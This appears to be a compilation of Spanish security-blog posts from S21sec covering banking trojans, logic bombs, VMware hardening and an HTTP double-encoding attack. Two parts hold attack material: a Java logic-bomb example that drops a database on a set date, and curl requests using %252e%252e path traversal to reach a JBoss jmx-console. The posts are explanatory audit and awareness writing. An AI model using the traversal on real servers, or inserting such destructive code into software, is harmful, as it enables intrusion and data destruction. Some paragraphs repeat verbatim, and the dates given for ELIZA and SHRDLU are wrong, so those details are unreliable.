Hoy viernes 30 de abril podemos ver en Cuatro el programa Reporteros Cuatro en el que hemos participado.
Se tratará el tema: ¿Estamos desnudos en Internet?
Aqui tenéis un pequeño avance:
Matando al enemigo
Existen ciertas medidas de protección que tratan de dificultar el funcionamiento de los troyanos bancarios. En concreto,
Trusteer Rapport se trata de un aplicativo que pretende asegurar "la comunicación entre el teclado y la página web". Según su propia página:
"Rapport secures browser communication from keyboard to website. It detects and prevents Man–in-the-Browser, Man-in-the-middle, phishing, and other attacks launched directly against the user."
En alguna prueba de laboratorio hemos constatado que realmente en un equipo con este software instalado ZeuS no era capaz de interceptar los datos introducidos, pero los chicos de ZeuS no se han cruzado de manos, y en una muestra de las últimas versiones de ZeuS comprobamos como nada más infectar una máquina, se descarga y ejecuta otro fichero cuyo cometido es inutilizar este software.
Este ejecutable termina los procesos activos y sobreescribe ciertos ficheros con ficheros vacíos, de tal manera que el programa no puede volver a ser arrancado.
El resultado es interesante, puesto que dicho programa es inutilizado sin que el usuario perciba ningún mensaje, aunque el icono del programa desaparecerá.
Actualización:
Tras contactar con Trusteer, hemos podido comprobar que tienen implementadas medidas que evitan el ataque comentado. Si bien es necesario una constante actualización de las medidas de seguridad, nos complace ver como Trusteer realmente se mantiene proactivamente al día respecto a estos ataques.
Mikel Gastesi
S21sec e-crime
FreeZS - Zeus Hijacker
En el mundo del crimeware parecen aplicarse la frase que en estos tiempos hemos oído hasta la saciedad : la crisis agudiza el ingenio, ya no solo por la sofisticación de ciertas campañas, infraestructuras,etc. sino por la propia competencia dentro del mundo del malware "bancario" en el que han ido apareciendo diferentes recursos para aprovecharse de la repercusión de los troyanos con una afectación más acentuada
A finales del año 2009 vimos como SpyEye reventaba el precio de compra respecto a Zeus (al que parece querer desbancar como troyano bancario número 1) ofreciendo prácticamente las mismas funcionalidades que el "original" y con la posibilidad de aprovechar los ficheros de configuración e inyecciones que Zeus genera ( ya sea en versiones compradas , leaked, etc.).
Siguiendo con esta dinámica de reutilización, recientemente se ha publicado un pseudo-builder denominado FreeZS (de Free Zeus), esta "herramienta" gratuita (el autor parece tener cierta manía a los vendedores de este tipo de productos) permite construir el binario de Zeus sin tener el builder asociado y es totalmente compatible con el panel de control del "original" (de hecho, más que builder es una interfaz que permite la modificación de las rutas de configuración de un binario de zeus 1.3.x. que el mismo lleva incorporado).
En las últimas versiones de Zeus, el builder necesita una licencia generada a partir de diferentes recursos del sistema (HW ID) para poder generar el bot correctamente, aunque en caso de no tenerla se inicia en modo LITE permitiendo generar un fichero de configuración válido que puede reutilizarse con FreeZS.
Aunque se trate de una versión aún precaria, su desarrollador parece decidido a ir mejorando el producto, incluso anunciando la implementación módulos de backconnect y inyección en Firefox que en el caso de Zeus son plugins adicionales con precios bastante elevados.
Teniendo en cuenta la proliferación de este tipo de recursos, podemos pensar que la afectación de este tipo de troyanos seguirá aumentando de manera significativa, ya sea utilizando los "originales" , los alternativos o sus replicas.
Daniel L. Creus
S21sec e-crime
A finales del año 2009 vimos como SpyEye reventaba el precio de compra respecto a Zeus (al que parece querer desbancar como troyano bancario número 1) ofreciendo prácticamente las mismas funcionalidades que el "original" y con la posibilidad de aprovechar los ficheros de configuración e inyecciones que Zeus genera ( ya sea en versiones compradas , leaked, etc.).
Siguiendo con esta dinámica de reutilización, recientemente se ha publicado un pseudo-builder denominado FreeZS (de Free Zeus), esta "herramienta" gratuita (el autor parece tener cierta manía a los vendedores de este tipo de productos) permite construir el binario de Zeus sin tener el builder asociado y es totalmente compatible con el panel de control del "original" (de hecho, más que builder es una interfaz que permite la modificación de las rutas de configuración de un binario de zeus 1.3.x. que el mismo lleva incorporado).
En las últimas versiones de Zeus, el builder necesita una licencia generada a partir de diferentes recursos del sistema (HW ID) para poder generar el bot correctamente, aunque en caso de no tenerla se inicia en modo LITE permitiendo generar un fichero de configuración válido que puede reutilizarse con FreeZS.
Aunque se trate de una versión aún precaria, su desarrollador parece decidido a ir mejorando el producto, incluso anunciando la implementación módulos de backconnect y inyección en Firefox que en el caso de Zeus son plugins adicionales con precios bastante elevados.
Teniendo en cuenta la proliferación de este tipo de recursos, podemos pensar que la afectación de este tipo de troyanos seguirá aumentando de manera significativa, ya sea utilizando los "originales" , los alternativos o sus replicas.
Daniel L. Creus
S21sec e-crime
Lo barato puede salir caro
En los tiempos que corren, son muchas las empresas que a la hora de planificar el desarrollo de una nueva aplicación optan por contratar a un profesional por cuenta propia, con la intención de escatimar en gastos.
En la actualidad se ha visto incrementado el número de ataques por parte del personal subcontrato por las empresas, que, con la finalidad de que las empresas no prescindan de ellos, depositan fragmentos de código ajeno dentro de las aplicaciones creadas. De manera que, si llegada cierta fecha la empresa decide prescindir de ellos, se activa dicho código ajeno con el fin de causar daños a la empresa. Este tipo de ataques son llamados Bombas lógicas.
Una Bomba lógica es un segmento de código insertado en un programa o sistema intencionadamente, permanece oculto hasta cumplirse una determinada condición, en ese momento se ejecuta una acción maliciosa.Una de las principales características que tiene este ataque es que el creador es consciente en todo momento del daño que va a causar, exige conocimientos especializados, ya que requiere la programación de la destrucción o modificación de datos en un momento dado del futuro. Los eventos que activan la bomba lógica pueden ser desde el cumplimiento de una fecha, ejecución de un comando en particular, hasta pulsar una tecla o combinación de teclas.
Un ejemplo sencillo podría ser el siguiente fragmento de código. Se trata de un método al que se pasa como argumento la conexión a una base de datos y en caso de que la fecha sea 21 de Octubre del 2010 se ejecutaría un DROP NOMBRE_BASE_DE_DATOS. La llamada a este método se podría realizar desde una clase Filter, por la que pasan todas las peticiones al aplicativo web:
final String NOMBRE_BASE_DE_DATOS = "Base_Datos_Ejemplo";
public void happyBirthday(java.sql.Connection conexion){
Calendar fechaBoom = Calendar.getInstance();
fechaBoom.set(2010, Calendar.OCTOBER, 21);
Calendar fechaActual = Calendar.getInstance();
StringBuffer sql = new StringBuffer();
PreparedStatement pst = null;
try{
if (fechaActual.getTimeInMillis() == fechaBoom.getTimeInMillis()){
sql.append(" DROP ").append(NOMBRE_BASE_DE_DATOS);
pst = conexion.prepareStatement(sql.toString());
pst.execute();
pst.close();
}
conexion.close();
}
catch (Exception e){}
}
public void happyBirthday(java.sql.Connection conexion){
Calendar fechaBoom = Calendar.getInstance();
fechaBoom.set(2010, Calendar.OCTOBER, 21);
Calendar fechaActual = Calendar.getInstance();
StringBuffer sql = new StringBuffer();
PreparedStatement pst = null;
try{
if (fechaActual.getTimeInMillis() == fechaBoom.getTimeInMillis()){
sql.append(" DROP ").append(NOMBRE_BASE_DE_DATOS);
pst = conexion.prepareStatement(sql.toString());
pst.execute();
pst.close();
}
conexion.close();
}
catch (Exception e){}
}
Uno de los mayores riesgos es que son muy difíciles de detectar, suelen permanecer ocultos entre el código prácticamente imperceptible por otros desarrolladores, ya que no se tiene conocimiento de la bomba, hasta que se activa. Puede alojarse en un programa o sistema sin ser descubierto, incluso mucho tiempo después de que se haya marchado el atacante de la empresa.
Miles de empresas se ven afectadas cada año por este tipo de ataque, un ejemplo sería el que sufrió el año pasado la empresa Fannie Mae, donde un empleado despedido en octubre del año anterior, dejó programado una bomba lógica que atacó a 4000 servidores de la empresa, causando el cierre de la empresa durante una semana con pérdidas millonarias.
En la actualidad, es muy común la utilización de este tipo de ataque para extorsionar a las empresas, donde el atacante pide un rescate a cambio de dar a conocer la ubicación de la bomba lógica o asegurarse el cobro del trabajo realizado, de manera que si llegada cierta fecha el trabajo no está pagado, la bomba lógica impediría arrancar el programa, o ciertos módulos del mismo.
A pesar de resultar evidente, muchas empresas obvian detallar en el contrato de prestación de servicio el objetivo y alcance del mismo, la propiedad intelectual y custodia del código fuente, así como los niveles de soporte aplicados. Con lo que a nivel legal, la empresa no dispondría de evidencias que demuestren ser los propietarios del software, por lo que el creador de la bomba podría evadirse de cargos a pesar del daño causado.
Otro punto a tener en cuenta, es la existencia de virus que funcionan como bombas lógicas, uno de los más legendarios es el llamado Viernes 13, que era capaz de infectar archivos con extensión EXE. Contenía en su código un error que hacía que el virus se copiara en los ficheros EXE aunque éstos ya estuvieran infectados, lo que provocaba que los ficheros crecieran hasta no caber en la memoria. Se activaba como su nombre indica los viernes con fecha 13. Existieron posteriores versiones que hacían más difícil su localización.
Por lo general, bomba lógica es un tipo de ataque versátil, ya que suele estar muy planeado y calculado con anterioridad, y además es muy difícil de detectar. Para evitar estas situaciones es recomendable la implementación de políticas de desarrollo del software. Por otro lado, para monitorizar y alertar de cambios la utilización de programas como Tripwire, y la realización de auditorías de código antes de poner las aplicaciones en producción. Y por último dejar claro en el contrato firmado con la empresa o desarrollador, que el código y programa generado es propiedad de la empresa contratante.
Miriam Verde
Dept. Auditoría S21sec
Rede$$$$$ociales
Facebook presentó ayer en una conferencia de desarrolladores de San Francisco, y por medio de su fundador, Mark Zuckerberg, su propia divisa virtual: Facebook Credits. Según se desprende de de la página oficial, esta moneda “permitirá poner precio y comerciar con bienes y servicios digitales en la divisa virtual de Facebook ”.
En realidad no es la primera vez que se utilizan este tipo de “monedas virtuales”, existen precedentes como el de ‘Second Life’ que no han tenido mayores consecuencias. Sin embargo, la enorme difusión de Facebook (casi 400 millones de usuarios) hacen que este caso pueda ser diferente, y son muchas las voces que alertan de que las consecuencias pueden ser graves en caso de que la moneda en principio “virtual” traspase los muros de Facebook y se convierta en un medio para adquirir bienes o servicios fuera de la red social. ¿Es de locos pensar que puede haber un tipo de cambio dólar-FacebookCredits? Hay algunas razones que pueden hacer pensar que esta idea no es tan descabellada.
En primer lugar, algunos gobiernos ya le han visto “las orejas al lobo” y han prohibido el uso de moneda virtual comerciar con productos reales, como el caso de China que en julio de 2009 estableció esta prohibición tras detectar que la circulación de este tipo de divisas “llegó a tener un incremento anual del 20 por ciento”.
El segundo argumento atiende al caso de ‘World of Warcraft’, donde se llegaron a constituir empresas que se dedicaban a recolectar oro (esta es nuestra moneda virtual ahora) para su posterior venta en Ebay. Y aún más serio, a veces se ha llegado a ofrecer algo más que dinero a cambio de esta moneda virtual…
Entonces, a la vista de este último caso, ya tenemos nuestro precedente, por raro que parezca ya ha existido un tipo de cambio entre moneda virtual y real (eso sí, Ebay lo acabó prohibiendo ya en 2007).
En este blog ya se ha hablado muchas veces de los peligros de las redes sociales en términos de privacidad, pero la inclusión del dinero (real y virtual, virtual y real, pero dinero al fin y al cabo) en la ecuación es algo nuevo, y que como hemos podido ver, conviene no tomarse a broma ;)
Alberto Yoldi
S21sec e-crime
Seguridad en entornos virtualizados Vmware
Cada vez más empresas optan por la opción de la virtualización como solución a diversos problemas que se les plantea a diario. ¿Pero en qué consiste exactamente la virtualización?
La virtualización permite la creación de versiones virtuales de dispositivos y equipos. Esto se consigue utilizando una capa de abstracción de los recursos hardware del equipo físico en el que se llevará a cabo la virtualización (anfitrión). Sobre esta capa, se pueden crear todo tipo de dispositivos y sistemas como medios de almacenamiento, redes, unidades de CD-ROM o, incluso, ordenadores completos con características hardware (CPU, RAM...) configurables y restringibles en los que se puede instalar cualquier sistema operativo. Esto permite, por ejemplo, crear múltiples máquinas virtuales sobre un único equipo físico siendo todas ellas independientes entre sí y del anfitrión.
De esta manera se consiguen múltiples mejoras como el ahorro de dinero al reducir la necesidad de comprar equipos hardware a los que no se les acaba sacando el máximo rendimiento o la mejora de la disponibilidad y continuidad de negocio debido a que los sistemas virtualizados pueden ser copiados y restaurados en caliente y en mucho menos tiempo que un sistema normal.
Otra mejora es la comodidad que proporciona para conseguir segregación de tareas al permitir utilizar un único equipo físico para virtualizar diferentes servidores y que cada uno de ellos ofrezca un único servicio en lugar de compartir servicios dentro del mismo servidor.
Algunos de los entornos de virtualización permiten, incluso, crear redes virtuales con hardware específico de red como switches o firewalls que pueden comunicarse y compartir características con los dispositivos de red reales facilitando, de este modo, la administración de toda la red corporativa (tanto física como virtual).
La solución que propone VMware a nivel empresarial para construir una arquitectura de virtualización es la suit vSphere, o su versión anterior VMware Infrastructure 3. Aunque estas suites están compuestas por diversos productos, tienen una arquitectura similar. Por un lado encontraremos servidores encargados de virtualizar todas las máquinas virtuales. Estos servidores, ESX ó ESXi, representan el núcleo principal de la arquitectura de virtualización y son los que gestionan todos los recursos hardware que comparten las máquinas virtuales: medios de almacenamiento masivo, CPU, memoria RAM, interfaces de red, etc.
La diferencia principal entre un servidor ESX y un servidor ESXi es el sistema operativo y los servicios que ofrecen. ESX está basado en una distribución Linux Red Hat y, además de todos los servicios de virtualización, ofrece diversos servicios propios de un sistema operativo como Linux: un servicio de línea de comandos en local, administración remota a través de protocolos como SSH, una gestión de usuarios y contraseñas robusta, etc. Por el contrario, ESXi sólo proporciona servicios de virtualización obligando a una administración remota a través de HTTPS o CIM. ESXi no dispone de una consola de órdenes local, desde el terminal físico tan sólo se pueden llevar a cabo algunas tareas de administración como configurar las interfaces de red o cambiar la contraseña de la cuenta de usuario root.
Para construir una estructura de virtualización segura, conviene tener en cuenta ciertos aspectos. El primero y más importante es la construcción de una topología de red basada en la segregación. Los servidores ESX/ESXi requieren de interfaces de administración para poder gestionarlos de manera remota y centralizada en caso de tener varios de estos servidores. Aunque todas las comunicaciones entre productos VMware se cifran utilizando SSL, conviene utilizar una red física o VLAN independiente para estas tareas. Además, los certificados por defecto de VMware están firmados por el propio software; conviene, por tanto, sustituirlos por otros que hayan sido firmados por una CA externa o interna que provea cierta confianza.
Otra red que debería estar separada a nivel físico o lógico es la red de almacenamiento. Lo habitual es que los servidores ESX/ESXi utilicen sistemas de almacenamiento masivo como SAN para almacenar todas las máquinas virtuales, ficheros de auditoría de eventos, etc. Dependiendo del tipo de dispositivos de almacenamiento utilizados, además de cifrado en la transmisión de datos, se puede implementar autenticación. iSCSI soporta el uso del protocolo CHAP para autenticar a los servidores que se intentan conectar a los medios de almacenamiento.
Las máquinas virtuales conviene que utilicen interfaces de red y, por tanto también redes, independientes de las dos anteriores. Además, esta red se puede segregar tanto como se desee en función de la topología que se necesite construir, pudiendo introducir firewalls y switches virtuales entre las diferentes zonas para aumentar la seguridad.
Otro aspecto a tener en mente es la gestión de usuarios. Tanto en los servidores ESX como ESXi existen dos tipos de usuarios. Por un lado están los usuarios del servidor a nivel de sistema operativo y por otro, los usuarios que administran o gestionan las máquinas virtuales pero que no tienen privilegios sobre el equipo físico. Para ambos tipos se debe implementar una política de contraseñas robusta que asegure unos mínimos de complejidad. A nivel de sistema operativo, es recomendable deshabilitar la cuenta del usuario root para que no pueda iniciar sesión desde ningún servicio y utilizar cuentas especializadas para las labores de administración. En el caso del servidor ESX es recomendable utilizar cuentas no administrativas y utilizar el comando 'sudo', mientras que en ESXi es necesario crear una cuenta con privilegios de administración antes de deshabilitar la cuenta root, lo que se consigue activando el modo Lockdown. Desde el punto de vista de la gestión del sistema de virtualización, prima la segregación de tareas, debiéndose procurar que cada cuenta tenga los permisos mínimos necesarios para que el usuario pueda realizar las tareas que le corresponden.
Toda la administración de los servidores ESX y ESXi puede centralizarse desde un servidor vCenter, o VirtualCenter, dependiendo de la suit que se utilice. Desde él se gestionan los firewall y toda la topología de red virtual incluyendo los dispositivos que la conforman. También se administran los usuarios que tengan algún tipo de papel sobre la arquitectura de virtualización y sus privilegios, los dispositivos de almacenamiento, el sistema de alertas, la configuración de los servidores ESX/ESXi, etc. También se pueden programar tareas como realizar copias de seguridad de las máquinas virtuales en caliente y, por medio de una utilidad de la suit, VMware Update Manager, permite centralizar las actualizaciones de todos los servidores ESX, ESXi y vCenter.
En resumen, la virtualización es una tecnología cada vez más frecuente en el mundo empresarial. Esto obliga a hacer frente a los diversos riesgos de seguridad que puedan presentarse por su uso. A nivel general, la virtualización no supone un riesgo frente a los sistemas tradicionales. Esto se debe, en parte, a que desde el exterior tanto los equipos virtualizados como la arquitectura de red virtual son totalmente transparentes. De esta manera, la seguridad de los sistemas virtualizados recae en la configuración de los propios sistemas operativos, a los que se les deben aplicar las mismas políticas de seguridad que se aplicaría a un sistema real.
No obstante, hay que tener en cuenta que al igual que sucede con cualquier otro sistema centralizado, la seguridad de un gran número de elementos (en este caso las máquinas virtuales) está determinada por la seguridad de unos pocos (los servidores ESX, ESXi y vCenter). Por tanto, una configuración incorrecta podría repercutir en la pérdida de confidencialidad, integridad o disponibilidad de un gran número de sistemas.
Julio Gómez
S21sec Auditoría
Proyecto de Real Decreto
Durante el mes de abril está abierto el plazo para enviar observaciones al (tan esperado) Proyecto de Real Decreto sobre Protección de Infraestructuras Críticas.
Lo primero que sorprende es que las vías para el envío son el correo postal y el fax, y que se pide la identificación del remitente. No es que tenga nada contra el sistema de correos y los fabricantes de faxes, pero que no exista un medio "electrónico" mediante DNIe o certificado digital, a día de hoy resulta (casi) increíble.
De una primera lectura, estas son las ideas principales:
Veremos que sucede en los próximos capítulos...
Lo primero que sorprende es que las vías para el envío son el correo postal y el fax, y que se pide la identificación del remitente. No es que tenga nada contra el sistema de correos y los fabricantes de faxes, pero que no exista un medio "electrónico" mediante DNIe o certificado digital, a día de hoy resulta (casi) increíble.
De una primera lectura, estas son las ideas principales:
- se establecen las responsabilidades y organismos por parte de la administración del Estado: ministerios, CNPIC, administraciones locales...
- el Catálogo Nacional de Infraestructuras será secreto y se agruparán las infraestructuras por sectores. El Catálogo será responsabilidad del Ministerio del Interior.
- para cada sector estratégico, se establecerá un Plan Estrátegico Sectorial (elaborado por un Grupo de Trabajo Intersectorial y aprobado por un Comisión para la Protección de IC)
- cada operador deberá elaborar un Plan de Seguridad del Operador y un Plan de Protección Específico por cada IC (el plan específico será la personalización del plan del operador de acuerdo con las características de la infraestructura considerada). Los contenidos mínimos los establecerá el CNPIC (no queda claro si los contenidos mínimos se corresponden con los planes sectoriales; si no, ¿para que sirve el plan sectorial?). Se establecen plazos para que los operadores presenten sus planes (a partir de que les sea notificada su condición), pero no se establece que cuando van a estar disponibles los contenidos mínimos.
- cada operador deberá designar un Responsable de Seguridad y Enlace, que hará de enlace entre operador y las administraciones, y un delegado de seguridad por cada IC.
- no se establecen plazos de implementación de los planes, ni de revisiones periódicas. CNPIC supervisa los planes, pero la verificación es responsabilidad de las delegaciones de gobierno (¿estamos preparados para esto?). Tampoco se sabe nada de los ejercicios y simulacros, en los que participará el CNPIC
Veremos que sucede en los próximos capítulos...
Diego López
S21Sec Labs
Entrevista a los organizadores del CTF de la Rooted CON
Esta es una entrevista donde se pregunta a Dreyer y Román (aka RoMaNSoFt), organizadores del Capture The Flag de la Rooted CON, sobre este evento y su preparación. Ha sido cedida por cortesía de SecurityByDefault y el propio Román, ya que debía publicarse antes de la celebración de la Rooted pero al final no llegó a ver la luz. A continuación se transcribe su contenido, modificado levemente y añadiendo algunas preguntas.
¿Cuánto tiempo os costó organizar el CTF?
Román: ¿Te refieres a la parte técnica o más a alto nivel? Empezando por lo primero, me uní al equipo CTF allá por diciembre de 2009, para echarle un cable a mi buen amigo Dreyer y porque preferí centrarme en temas más técnicos, una vez bien encarrilados los temas organizativos del Congreso y después de una serie de tristes acontecimientos que ahora no vienen al caso.
Respecto a lo segundo, el CTF se empezó a fraguar ya en marzo de 2009, cuando sólo estábamos los 4 miembros fundadores de la Rooted y cuando todavía no se me había ocurrido lo de "Rooted" como nombre del Congreso, así que imagínate si nos lo tomamos con tiempo. Decidí pedir ayuda a mi buen amigo Dreyer y desde ese momento él es el responsable de CTF.
Lo que la gente no sabe es que un concurso de estas características, si se hace bien, lleva mucho trabajo. Me refiero a que hay que idear pruebas chulas y originales -que esto ya lleva su tiempo-, programarlas (más tiempo) y además ponerte en la piel del concursante, tanto para valorar su dificultad, como para averiguar qué posibles caminos se podrían seguir hasta su resolución, cerrando aquellos que no se consideren apropiados. Y por supuesto hay que diseñar toda la infraestructura técnica por detrás, que dé soporte a las pruebas (red, sistemas, seguridad, etc). Recordemos que nuestra labor es crear "cosas" que serán explotadas y por tanto, debemos introducir vulnerabilidades adrede. Es crucial saber controlarlas para que nadie las utilice para otra cosa que no sea resolver la prueba en cuestión y te acaben reventando el concurso (servidor comprometido, información "leakeada" sobre otras pruebas, etc).
Dreyer: Y no te olvides del framework de gestión del concurso! :) Bueno, creo que Román ha respondido con creces a la pregunta. Lleva mucho tiempo, y muchas noches de poco sueño.
Respecto a lo segundo, el CTF se empezó a fraguar ya en marzo de 2009, cuando sólo estábamos los 4 miembros fundadores de la Rooted y cuando todavía no se me había ocurrido lo de "Rooted" como nombre del Congreso, así que imagínate si nos lo tomamos con tiempo. Decidí pedir ayuda a mi buen amigo Dreyer y desde ese momento él es el responsable de CTF.
Lo que la gente no sabe es que un concurso de estas características, si se hace bien, lleva mucho trabajo. Me refiero a que hay que idear pruebas chulas y originales -que esto ya lleva su tiempo-, programarlas (más tiempo) y además ponerte en la piel del concursante, tanto para valorar su dificultad, como para averiguar qué posibles caminos se podrían seguir hasta su resolución, cerrando aquellos que no se consideren apropiados. Y por supuesto hay que diseñar toda la infraestructura técnica por detrás, que dé soporte a las pruebas (red, sistemas, seguridad, etc). Recordemos que nuestra labor es crear "cosas" que serán explotadas y por tanto, debemos introducir vulnerabilidades adrede. Es crucial saber controlarlas para que nadie las utilice para otra cosa que no sea resolver la prueba en cuestión y te acaben reventando el concurso (servidor comprometido, información "leakeada" sobre otras pruebas, etc).
Dreyer: Y no te olvides del framework de gestión del concurso! :) Bueno, creo que Román ha respondido con creces a la pregunta. Lleva mucho tiempo, y muchas noches de poco sueño.
Peligros del doble encoding en HTTP
En ocasiones, en el transcurso de una auditoria, nos encontramos con servidores intermedios cuya función es balancear las peticiones HTTP que les llegan por tal de distribuir el tráfico, para que no se congestione su red, o simplemente porque según el recurso al que se acceda con cada peticiones HTTP lo proporciona un servidor u otro.
En el servidor web apache, se puede utilizar el módulo “mod_jk” (http://tomcat.apache.org/connectors-doc/) para realizar este balanceo de carga. Para ello, se configuran un conjunto de workers (cada uno de los servidores a los que distribuiremos las peticiones HTTP), con las ip-s, puertos donde realizar las conexiones, etc.
A continuación se muestra la configuración establecida para el entorno en el que se realizarán las pruebas, se puede observar como en el caso de acceder a los directorios “Directorio1” y “ Directorio2” la petición se redirige hacia el servidor “workerArea” y en caso de acceder al directorio “Directorio3” la petición se envía hacia el servidor “workerArea2”.
En el servidor web apache, se puede utilizar el módulo “mod_jk” (http://tomcat.apache.org/connectors-doc/) para realizar este balanceo de carga. Para ello, se configuran un conjunto de workers (cada uno de los servidores a los que distribuiremos las peticiones HTTP), con las ip-s, puertos donde realizar las conexiones, etc.
A continuación se muestra la configuración establecida para el entorno en el que se realizarán las pruebas, se puede observar como en el caso de acceder a los directorios “Directorio1” y “ Directorio2” la petición se redirige hacia el servidor “workerArea” y en caso de acceder al directorio “Directorio3” la petición se envía hacia el servidor “workerArea2”.
• Archivo site.conf:
JkMount /Directorio1/* workerArea
JkMount /Directorio2/* workerArea
JkMount /Directorio3/* workerArea2
• Archivo worker.properties:
worker.list=workerArea
worker.workerArea.port=8009
worker.workerArea.host=XXX.XXX.XXX.XXX
worker.list=workerArea2
worker.worerArea2.port=8010
worker.workerArea2.host=XXX.XXX.XXX.XXX
A continuación, se muestra un esquema de la estructura de servidores, para aclarar el comportamiento del entorno.
A continuación, disponemos de dos peticiones en las que se puede visualizar como al realizar una petición se nos redirige hacia un servidor u otro en función del recurso solicitado.
shell:~$ curl -I http://site.es/
HTTP/1.1 301 Moved Permanently
Date: Fri, 19 Feb 2010 10:07:21 GMT
Server: Apache/2.0.52 (Red Hat)
Location: http://site.es/Directorio1/
Content-Type: text/html; charset=iso-8859-1
shell:~$ curl -I http://site.es/Directorio1/
HTTP/1.1 302 Movido temporalmente
Date: Fri, 19 Feb 2010 10:07:17 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=95E824FB90952A67B7AB14EF5AF22AF1; Path=/
Location: http://site.es/Directorio1/Page/Page.do;jsessionid=95E824FB90952A67B7AB14EF5AF22AF1
Vary: Accept-Encoding,User-Agent
Content-Type: text/html;charset=ISO-8859-1
Como se puede observar, en ambos casos, una de las cabeceras devueltas, nos indica que el servidor que recoge las peticiones es un Apache/2.0.52, mientras que en la segunda petición, al acceder a “Directorio1”, contiene la cabecera "X-Powered-By" que indica que, además, se trata del gestor de contenidos JBoss.
¿Que información podemos extraer de aquí? Pues que cuando se accede a dicho directorio se nos reenvía hacia otro servidor que está ejecutando un JBoss.
Sabemos que JBoss, dispone de dos directorios en los que se muestran dos paneles de administración:
¿Que información podemos extraer de aquí? Pues que cuando se accede a dicho directorio se nos reenvía hacia otro servidor que está ejecutando un JBoss.
Sabemos que JBoss, dispone de dos directorios en los que se muestran dos paneles de administración:
• jmx-console
• web-console
En estos dos paneles se dispone de varias funcionalidades, como el poder acceder a información del servidor o incluso subir archivos al servidor para desplegar una aplicación y de esta manera tener acceso a la máquina (se recomienda la lectura de: “Who’s the JBoss now”: http://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf).
Así pues, el siguiente paso será el de realizar una búsqueda de estos directorios para poder comprometer la máquina. Como estos directorios son del servidor, deberán encontrarse en la raíz de éste, y no en ninguno de los subdirectorios existentes en él. Esto viene a decir, que deberemos hallar la manera, de poder acceder a un directorio por encima del que nos encontramos. Para esto, utilizamos los ".." para acceder al directorio inmediatamente superior:
shell:~$ curl -I
http://site.es/Directorio1/../jmx-console/
HTTP/1.1 404 Not Found
Date: Fri, 19 Feb 2010 10:07:28 GMT
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=iso-8859-1
Como se puede ver en la anterior respuesta, nos indica que no se ha detectado el directorio, pero... la razón es, porque no se ha buscado en el lugar indicado. Como se puede ver, en las cabeceras que nos devuelve, indica que se está buscando en el servidor Apache que hace de intermediario, ya que interpreta el ".." como una orden hacia él, y en realidad realiza la búsqueda como si fuese la siguiente:
• http://site.es/jmx-console/
Por lo que deberemos realizar algún tipo de codificación a la cadena ".." para que aunque sea interpretada por el servidor intermediario, podamos llegar hasta nuestro objetivo. Así que, realizaremos una doble codificación en hexadecimal (codificar el símbolo, y a continuación el %), ya que si tan solo realizamos una el servidor intermediario decodificará la cadena, verá que es “..” y la seguirá interpretando.
Por lo que:
Normal: .
Hex Encoding: %2e
Doble Encoding: %252e
De esta forma, la petición resultante sería la siguiente:
shell:~$ curl -I
http://site.es/Directorio1/%252e%252e/jmx-console/
HTTP/1.1 200 OK
Date: Fri, 19 Feb 2010 10:07:36 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: JSESSIONID=8E3A3C9CA110AF43C224D4F5D74EF48B; Path=/
Content-Length: 287282
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=iso-8859-1
Como se puede observar, en este caso, el servidor que nos contesta es el JBoss, ya que el primer servidor interpreta la cadena %252e%252e, y esta queda como resultado %2e%2e. Éste, toma el valor de %2e%2e como si fuese un nombre de archivo, y dado que sigue estando dentro del directorio que él interpreta como que tiene que redirigir a otro servidor, se lo envía al servidor en el que se ejecuta el JBoss, sin tener en cuenta nada más. Por su lado, el servidor JBosss al recibir la petición, decodifica %2e%2e como ".." y al interpretarlo se accede a la consola jmx. El problema, radica en que el módulo "mod_jk" de Apache, que es quien realiza la redirección, decodifica la URL que recibe antes de enviarla hacia su destino, por lo que al realizar la doble codificación, es posible llegar hasta el servidor objetivo y acceder a recursos de éste (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1860 ).
Abel Gómez
S21sec Auditoría
RISI
Hoy voy a hablar sobre un repositorio de incidentes de seguridad del que me hice eco leyendo una noticia sobre ciberseguridad.
RISI(Repository of Industrial Security Incidents) es una base de datos de incidentes de ciberseguridad que afectan a sistemas SCADA. El objetivo de RISI es recolectar,analizar y compartir los incidentes de seguridad industrial entre los demás miembros para que aprendan de las experiencias que hayan podido tener otros. Este tipo de incidente puede ser un ataque externo, un incidente accidental, una denegación de servicio, un gusano o virus...
RISI(Repository of Industrial Security Incidents) es una base de datos de incidentes de ciberseguridad que afectan a sistemas SCADA. El objetivo de RISI es recolectar,analizar y compartir los incidentes de seguridad industrial entre los demás miembros para que aprendan de las experiencias que hayan podido tener otros. Este tipo de incidente puede ser un ataque externo, un incidente accidental, una denegación de servicio, un gusano o virus...
Los datos se obtienen de tres fuentes diferentes:
Iker Berriozabal
S21sec labs
- Mediante la colaboración de los demás miembros (empresas que trabajan en infraestructura críticas). Cada miembro reporta sus incidentes y se ponen en común.
- Una busqueda continua en todas las fuentes públicas como bases de datos, grupos de noticias e internet en busca de cualquier indicio de algún incidente que se haya podido suceder.
- Los incidentes se recolectan con acuerdos de distribución de datos con socios estratégicos (como varios centros de distribución y análisis de información).
- Confirmada
- Posible pero sin confirmar
- Desconocida o improbable
- Leyenda urbana
Iker Berriozabal
S21sec labs
BOTS, más humanos que los humanos
Un BOT es un programa informático diseñado para realizar una determinada tarea de la misma manera en que la realizaría una persona. Podemos considerar a los BOT como la versión SOFTWARE de los ROBOT. Subrayamos aquí que se trata de realizar una tarea imitando la manera en que una persona la realizaría, en contraposición a un programa informático habitual, que podría realizar esa misma tarea en cuestión de segundos o de cualquier otra manera "no humana".
Los motivos por los que un BOT imita el comportamiento humano pueden ser diversos. Habitualmente se emplean BOTS en los servicios de CHAT[1], por ejemplo, para regular el correcto uso del servicio. Los usuarios del CHAT ven al BOT como un usuario más, que se comporta como una persona, interactuando con los usuarios verbalmente y facilitando así su utilización.
Tenemos un tipo de BOTS, conocidos como CHATTERBOTS, cuya finalidad es mantener una conversación con una persona de la manera mas "humana" posible. Los ejemplos mas tempranos de este tipo de BOTS vendrían con ELIZA (1996)[2] o SHRDLU (1998)[3].
